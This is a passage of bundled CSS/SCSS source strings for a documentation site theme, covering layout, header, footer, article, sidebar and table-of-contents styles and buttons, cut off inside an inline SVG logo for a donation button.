@import \"layout\";\n \n @import \"component/site-header\";\n @import \"component/site-footer\";\n @import \"component/article\";\n @import \"component/sidebar\";\n @import \"component/toc\";\n \n @import \"component/button\";\n @import \"component/dropdown\";\n @import \"component/chroma\";\n \n html {\n font-family: var(--font-family);\n background: var(--background);\n color: var(--color);\n scroll-behavior: smooth;\n scroll-padding: 2em;\n }", - "/* https://github.com/elad2412/the-new-css-reset v1.11 */\n/* custom styles for: pre, code */\n\n*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol *)) {\n all: unset;\n display: revert;\n}\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n -moz-text-size-adjust: none;\n -webkit-text-size-adjust: none;\n text-size-adjust: none;\n}\n\na, button {\n cursor: revert;\n}\n\nol, ul, menu {\n list-style: none;\n}\n\nimg {\n max-inline-size: 100%;\n max-block-size: 100%;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ninput, textarea {\n -webkit-user-select: auto;\n}\n\ntextarea {\n white-space: revert;\n}\n\nmeter {\n -webkit-appearance: revert;\n appearance: revert;\n}\n\n:where(pre) {\n all: revert;\n box-sizing: border-box;\n}\n\n::placeholder {\n color: unset;\n}\n\n::marker {\n content: initial;\n}\n\n:where([hidden]) {\n display: none;\n}\n\n:where([contenteditable]:not([contenteditable=\"false\"])) {\n -moz-user-modify: read-write;\n -webkit-user-modify: read-write;\n overflow-wrap: break-word;\n -webkit-line-break: after-white-space;\n -webkit-user-select: auto;\n}\n\n:where([draggable=\"true\"]) {\n -webkit-user-drag: element;\n}\n\n:where(dialog:modal) {\n all: revert;\n box-sizing: border-box;\n}\n\npre, code {\n margin: 0;\n}", - ":root {\n --site-header-height: 46px;\n --site-footer-height: 46px;\n}\n\n@media (min-width: 1025px) and (max-width: 1280px),\n(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait) {\n :root {\n --site-header-height: 60px;\n --site-footer-height: 60px;\n }\n}\n\n@media (min-width: 1281px) {\n :root {\n --site-header-height: 80px;\n --site-footer-height: 80px;\n }\n}", - "body {\n font-family: var(--font-family);\n background: var(--background);\n color: var(--color);\n display: flex;\n flex-direction: column;\n min-height: 100svh;\n}\n\n#site-header {\n display: grid;\n grid-template-columns: 2fr 1fr;\n grid-template-rows: repeat(3, var(--site-header-height));\n}\n\n#site-header-menu, #site-header-search {\n grid-column: 1 / 3;\n}\n\n#site-footer {\n display: grid;\n grid-template-columns: 1fr 1fr;\n grid-template-rows: repeat(3, var(--site-footer-height));\n}\n\n#site-footer-copyright, #site-footer-love {\n grid-column: 1 / 3;\n}\n\n#site-main-content-wrapper {\n display: flex;\n flex: 1;\n}\n\n#sidebar, #toc, #article-nav, #sidebar .btn-close, #toc .btn-close {\n display: none;\n}\n\nmain {\n flex: 1;\n display: flex;\n overflow: auto;\n}\n\n#article {\n flex: 1;\n width: 100vw;\n}\n\n#sidebar {\n width: 85%;\n left: -85%;\n}\n\n#toc {\n width: 85%;\n right: -85%;\n}\n\n/* Small Tablet */\n@media (min-width: 768px) and (max-width: 1023px) {\n #site-header {\n grid-template-columns: repeat(6, 1fr);\n grid-template-rows: repeat(2, var(--site-header-height));\n }\n\n #site-header-brand {\n grid-column: 1 / 6;\n }\n\n #site-header-controls {\n grid-column: 6 / 7;\n }\n\n #site-header-menu {\n grid-column: 1 / 5;\n }\n\n #site-header-search {\n grid-column: 5 / 7;\n }\n\n #site-footer {\n grid-template-columns: repeat(4, 1fr);\n grid-template-rows: repeat(2, var(--site-footer-height));\n }\n\n #site-footer-copyright {\n grid-column: 1 / 3;\n }\n\n #site-footer-social {\n grid-column: 3 / 4;\n }\n\n #site-footer-fund {\n grid-column: 4 / 5;\n }\n\n #site-footer-love {\n grid-column: 1 / 5;\n }\n\n #sidebar {\n width: 50%;\n left: -50%;\n }\n\n #toc {\n width: 50%;\n right: -50%;\n }\n}\n\n/* From Large Tablet */\n@media (min-width: 1024px) {\n #site-header {\n grid-template-columns: repeat(6, 1fr);\n grid-template-rows: var(--site-header-height);\n }\n\n #site-header-brand {\n grid-column: 1 / 2;\n }\n\n #site-header-menu {\n grid-column: 2 / 5;\n grid-row: 1;\n }\n\n #site-header-search {\n grid-column: 5 / 6;\n grid-row: 1;\n }\n\n #site-header-controls {\n grid-column: 6 / 7;\n }\n\n #site-footer {\n grid-template-columns: repeat(5, 1fr);\n grid-template-rows: var(--site-footer-height);\n }\n\n #site-footer-copyright {\n grid-column: 1 / 3;\n }\n\n #site-footer-love {\n grid-column: 3 / 4;\n grid-row: 1;\n }\n\n #site-footer-social {\n grid-column: 4 / 5;\n }\n\n #site-footer-fund {\n grid-column: 5 / 6;\n }\n\n #article-nav-toc-btn {\n display: none;\n }\n}\n\n/* Large Tablet */\n@media (min-width: 1024px) and (max-width: 1279px) {\n #sidebar {\n width: 33%;\n left: -33%;\n }\n\n #article {\n width: 75vw;\n }\n\n #toc {\n width: 25%;\n display: flex;\n flex-direction: column;\n }\n\n #toc .sticky {\n position: fixed;\n right: 0;\n width: 25%;\n }\n}\n\n/* From Desktop */\n@media (min-width: 1280px) {\n #sidebar {\n width: 20%;\n display: flex;\n flex-direction: column;\n }\n\n #article {\n width: 60vw;\n }\n\n #toc {\n width: 25%;\n display: flex;\n flex-direction: column;\n }\n\n #sidebar .sticky {\n position: fixed;\n left: 0;\n width: 20%;\n }\n\n #toc .sticky {\n position: fixed;\n right: 0;\n width: 20%;\n }\n}\n\n/* Upto Large Tablet */\n@media (max-width: 1023px) {\n #toc {\n position: fixed;\n top: 0;\n height: 100%;\n transition: .3s;\n z-index: 300;\n overflow-x: auto;\n background: var(--background);\n box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\n }\n\n :root[data-color=\"dark\"] #toc, :root[data-color=\"night\"] #toc {\n box-shadow: 0 4px 30px rgba(255, 255, 255, 0.1);\n }\n\n .offcanvas-toc-on #toc {\n animation: slide-in-right .3s forwards;\n display: flex;\n flex-direction: column;\n padding-left: 16px;\n z-index: 10;\n cursor: default;\n }\n\n .offcanvas-toc-on:before {\n content: \"\";\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 5;\n }\n\n .offcanvas-toc-on #toc .btn-close {\n display: block;\n position: absolute;\n top: 10px;\n left: 10px;\n }\n\n #article-nav-toc-btn {\n display: flex;\n box-shadow: var(--box-shadow2);\n border-radius: 6px;\n padding: 6px;\n cursor: pointer;\n white-space: nowrap;\n gap: 6px;\n color: var(--color2);\n }\n}\n\n/* Upto Desktop */\n@media (max-width: 1279px) {\n #sidebar {\n position: fixed;\n top: 0;\n height: 100%;\n transition: .3s;\n z-index: 200;\n overflow-x: auto;\n background: var(--background);\n box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\n }\n\n :root[data-color=\"dark\"] #sidebar, :root[data-color=\"night\"] #sidebar {\n box-shadow: 0 4px 30px rgba(255, 255, 255, 0.1);\n }\n\n .offcanvas-sidebar-on #sidebar {\n animation: slide-in-left .3s forwards;\n display: flex;\n flex-direction: column;\n z-index: 10;\n cursor: default;\n }\n\n .offcanvas-sidebar-on:before {\n content: \"\";\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 5;\n }\n\n .offcanvas-sidebar-on #sidebar .btn-close {\n display: block;\n position: absolute;\n top: 10px;\n right: 10px;\n }\n\n #article-nav {\n display: flex;\n gap: 12px;\n overflow: auto;\n justify-content: space-between;\n height: var(--site-header-height);\n align-items: center;\n padding: 0 2px;\n }\n\n #article-nav-menu-btn {\n display: flex;\n box-shadow: var(--box-shadow2);\n border-radius: 6px;\n padding: 6px;\n cursor: pointer;\n white-space: nowrap;\n gap: 6px;\n color: var(--color2);\n }\n}\n\nbody.offcanvas-sidebar-on, body.offcanvas-toc-on {\n cursor: pointer;\n overflow: hidden;\n}\n\n.offcanvas-sidebar-on:before, .offcanvas-toc-on:before {\n background: rgba(255, 255, 255, 0.1);\n backdrop-filter: blur(var(--blur));\n -webkit-backdrop-filter: blur(var(--blur));\n}\n\n@keyframes slide-in-left {\n from {\n transform: translateX(0);\n }\n to {\n transform: translateX(100%);\n }\n}\n\n@keyframes slide-in-right {\n from {\n transform: translateX(0);\n }\n to {\n transform: translateX(-100%);\n }\n}", - "#site-header-brand {\n display: flex;\n align-items: center;\n font-family: var(--font-family-brand);\n font-size: 1.4em;\n color: var(--color2);\n}\n\n#site-header-brand a {\n padding: 12px;\n}\n\n#site-header-menu {\n padding: 0 12px;\n display: flex;\n align-items: center;\n color: var(--color3);\n}\n\n#site-header-menu nav {\n width: 100%;\n overflow: auto;\n}\n\n#site-header-menu ul {\n display: flex;\n height: 100%;\n align-items: center;\n gap: 12px;\n}\n\n#site-header-menu a {\n display: flex;\n padding: 12px 6px;\n gap: 3px;\n white-space: nowrap;\n}\n\n#site-header-menu a:focus, #site-header-menu a:hover, #site-header-menu a.active {\n border-bottom: 3px solid;\n}\n\n#site-header-controls {\n display: flex;\n align-items: center;\n padding-right: 12px;\n justify-content: flex-end;\n gap: 12px\n}\n\n#site-header-search {\n display: flex;\n align-items: flex-end;\n}\n\n/* From Small Tablet */\n@media (min-width: 768px) {\n #site-header-search {\n align-items: center;\n }\n}", - "#site-footer-social {\n display: flex;\n gap: 12px;\n justify-content: flex-start;\n padding-left: 12px;\n align-items: center;\n}\n\n#site-footer-fund {\n display: flex;\n gap: 12px;\n overflow: auto;\n justify-content: flex-end;\n padding-right: 12px;\n align-items: center;\n}\n\n#site-footer-copyright, #site-footer-love {\n display: flex;\n align-items: center;\n justify-content: center;\n color: var(--color3)\n}\n\n#site-footer-copyright a {\n display: flex;\n align-items: center;\n}\n\n/* From Small Tablet */\n@media (min-width: 768px) {\n #site-footer-copyright {\n justify-content: flex-start;\n padding-left: 12px;\n }\n\n #site-footer-social {\n justify-content: flex-end;\n padding-right: 12px;\n }\n}\n", - "#article {\n padding: 8px 16px;\n}\n\n#article-header {\n font-size: 3em;\n font-weight: 400;\n margin-bottom: 1em;\n color: var(--color2)\n}\n\n#article-content h1,\n#article-content h2,\n#article-content h3,\n#article-content h4,\n#article-content h5,\n#article-content h6 {\n line-height: 1em;\n font-weight: 400;\n margin: 2.6em 0 .1em;\n color: var(--color2)\n}\n\n#article-content h1 {\n font-size: 1.8em\n}\n\n#article-content h2 {\n font-size: 1.5em\n}\n\n#article-content h3 {\n font-size: 1.3em\n}\n\n#article-content h4 {\n font-size: 1.1em\n}\n\n#article-content .highlight,\n#article-content blockquote,\n#article-content dl,\n#article-content iframe,\n#article-content ol,\n#article-content p,\n#article-content table,\n#article-content ul {\n margin-top: 1em;\n line-height: 1.8rem;\n letter-spacing: -.1px;\n}\n\n#article-content blockquote p {\n margin: 1em 0\n}\n\n#article-content blockquote dl,\n#article-content blockquote ol,\n#article-content blockquote ul {\n margin: 0 1em 1em 1em\n}\n\n#article-content a {\n color: var(--color-anchor);\n text-decoration: none\n}\n\n#article-content a:hover {\n color: var(--color-hover);\n text-decoration: underline\n}\n\n@media print {\n #article-content a {\n color: #355265;\n text-decoration: underline\n }\n\n #article-content a:after {\n content: \" (\" attr(href) \")\";\n font-size: 80%\n }\n}\n\n#article-content strong, #article-content b, #article-content table th {\n font-weight: 600\n}\n\n#article-content em {\n font-style: italic\n}\n\n#article-content dl,\n#article-content ol,\n#article-content ul {\n margin-left: 20px\n}\n\n#article-content dl dl,\n#article-content dl ol,\n#article-content dl ul,\n#article-content ol dl,\n#article-content ol ol,\n#article-content ol ul,\n#article-content ul dl,\n#article-content ul ol,\n#article-content ul ul {\n margin-top: 0;\n margin-bottom: 0\n}\n\n#article-content ul {\n list-style: disc\n}\n\n#article-content ol {\n list-style: decimal\n}\n\n#article-content dl {\n list-style: square\n}\n\n#article-content li > ul {\n list-style: circle\n}\n\n#article-content li > ol {\n list-style: lower-alpha\n}\n\n#article-content li p {\n margin: 0\n}\n\n#article-content li .highlight,\n#article-content li blockquote,\n#article-content li iframe,\n#article-content li table {\n margin: 1em 0\n}\n\n#article-content img,\n#article-content video {\n max-width: 100%;\n border-radius: 4px\n}\n\n#article-content blockquote {\n padding: 8px 12px;\n position: relative;\n background: var(--background-fg);\n border-left: 4px solid var(--border-color);\n border-radius: 6px;\n}\n\n#article-content blockquote footer {\n margin: 1em 0;\n font-style: italic\n}\n\n#article-content blockquote footer cite:before {\n content: \"—\";\n padding: 0 .3em\n}\n\n#article-content blockquote footer cite a {\n color: var(--border-color);\n}\n\n#article-content code, #article-content pre {\n font-family: var(--font-family-code);\n}\n\n#article-content h1 code,\n#article-content h2 code,\n#article-content h3 code,\n#article-content h4 code,\n#article-content h5 code,\n#article-content h6 code,\n#article-content p code,\n#article-content blockquote code,\n#article-content ul code,\n#article-content ol code,\n#article-content dl code,\n#article-content table code {\n background: var(--chroma-base00);\n padding: 4px;\n border-radius: 4px;\n font-size: .9em;\n}\n\n#article-content pre:not(.chroma) {\n color: var(--chroma-base05);\n font-size: .9em;\n line-height: 1.8;\n letter-spacing: -.1px;\n background-color: var(--chroma-base00);\n border-radius: 6px;\n padding: 16px 24px;\n overflow-x: auto;\n margin-top: 1em;\n}\n\n#article-content blockquote code {\n background: var(--background-fg2);\n opacity: .8;\n}\n\n#article-content blockquote .chroma, #article-content blockquote pre:not(.chroma) {\n background: var(--background-fg2);\n margin-bottom: 1em;\n}\n\n#article-content blockquote .chroma code, #article-content blockquote pre:not(.chroma) code {\n padding: 0;\n}\n\n#article-content table {\n max-width: 100%;\n border: 1px solid var(--border-color)\n}\n\n#article-content table td,\n#article-content table th {\n padding: 5px 15px\n}\n\n#article-content table tr:nth-child(2n) {\n background: var(--background-fg)\n}\n\n#article-footer {\n display: grid;\n grid-template-columns: 1fr 1fr;\n padding-top: 20px;\n}\n\n#article-last-updated, #article-prev-link, #article-next-link {\n display: flex;\n align-items: center;\n padding: 12px 0;\n}\n\n#article-last-updated {\n grid-column: 1 / 3;\n justify-content: center;\n color: var(--color3);\n}\n\n#article-prev-link, #article-next-link {\n color: var(--color-anchor);\n}\n\n#article-prev-link:hover, #article-next-link:hover {\n color: var(--color-hover);\n font-weight: 600;\n font-size: 98%;\n}\n\n#article-next-link {\n justify-content: flex-end;\n}\n\n#article-prev-link .icon {\n padding-right: 6px;\n}\n\n#article-next-link .icon {\n padding-left: 6px;\n}\n\n@media (max-width: 767px) {\n #article-next-link[data-first-page=\"true\"] {\n grid-column: 2/ 3;\n }\n}\n\n@media (min-width: 768px) {\n #article {\n padding: 16px 24px;\n }\n\n #article-footer {\n display: grid;\n grid-template-columns: repeat(3, 1fr);\n }\n\n #article-prev-link {\n grid-column: 1/ 2;\n grid-row: 1;\n }\n\n #article-last-updated {\n grid-column: 2 / 3;\n }\n\n #article-next-link {\n grid-column: 3 / 4;\n }\n}\n\n@media (min-width: 1024px) {\n #article {\n padding: 24px 32px;\n }\n}\n\n@media (min-width: 1281px) {\n #article {\n padding: 32px 40px;\n }\n}\n\n@media (min-width: 1920px) {\n #article {\n padding: 40px 48px;\n }\n\n #article-content {\n width: 90%;\n }\n}\n\n@media (min-width: 2560px) {\n #article-content {\n width: 85%;\n }\n}\n\n@media (min-width: 3840px) {\n #article-content {\n width: 80%;\n }\n}\n", - "#sidebar {\n padding: 40px 0;\n}\n\n#sidebar .sticky {\n display: flex;\n flex-direction: column;\n padding: 0 20px;\n overflow: auto;\n}\n\n.sidebar-section, .sidebar-link {\n padding: 7px 0;\n}\n\n.sidebar-section {\n margin-top: 40px;\n font-weight: 600;\n color: var(--color2)\n}\n\n#sidebar .sidebar-section:first-child {\n margin-top: 0;\n}\n\n.sidebar-link {\n padding-left: 10px;\n color: var(--color3);\n border-left: 1px solid var(--border-color);\n margin-left: 4px;\n}\n\n.sidebar-link::before {\n content: '';\n display: inline-block;\n width: 6px;\n height: 6px;\n background: var(--background);\n box-shadow: var(--box-shadow);\n border-radius: 50%;\n position: relative;\n left: -13.5px;\n top: -3px;\n}\n\n.sidebar-link:hover {\n color: var(--color-hover);\n font-weight: 600;\n font-size: 98%;\n}\n\n.sidebar-link.current {\n color: var(--color-anchor);\n font-weight: 600;\n font-size: 98%;\n}\n\n.sidebar-link.current::before, .sidebar-link:hover::before {\n background: var(--color-anchor);\n}", - "#toc {\n padding-top: 40px;\n padding-bottom: 40px;\n}\n\n#toc .sticky{\n overflow: auto;\n}\n\n#toc strong {\n font-weight: 600;\n padding: 7px 10px 7px 0;\n display: flex;\n gap: 3px;\n position: relative;\n left: -3px;\n color: var(--color2)\n}\n\n#toc ul {\n margin-left: .3em;\n border-left: 1px solid var(--border-color);\n}\n\n#toc ul ul {\n margin-left: 1em;\n}\n\n#toc ul a {\n display: inline-block;\n padding: 7px;\n color: var(--color3);\n}\n\n#toc ul a.active, #toc ul a:hover {\n color: var(--color-hover);\n}\n\n#toc ul a::before {\n content: '';\n display: inline-block;\n width: 6px;\n height: 6px;\n background: var(--background);\n box-shadow: var(--box-shadow);\n position: relative;\n left: -10.5px;\n top: -3px;\n}\n\n#toc ul a.active::before, #toc ul a:hover::before {\n background: var(--color-hover);\n}\n\n", - ".btn-github {\n display: flex;\n flex-direction: row;\n gap: 2px;\n font-size: .7em; /*11 px*/\n font-weight: 700;\n line-height: 1.8em;\n color: #576060;\n background: #f6f8fa;\n border: 1px solid #d5d7da;\n border-radius: 6px;\n padding: 2px 4px;\n}\n\n:root[data-color=\"dark\"] .btn-github, :root[data-color=\"night\"] .btn-github {\n color: #c9d1d9;\n background: #21262d;\n border: 1px solid #576060;\n}\n\n.btn-github .icon {\n transform: scale(.8); /* 18px */\n}\n\n.btn-buymeacoffee {\n width: 86px;\n height: 24px;\n background-image: url(\"data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 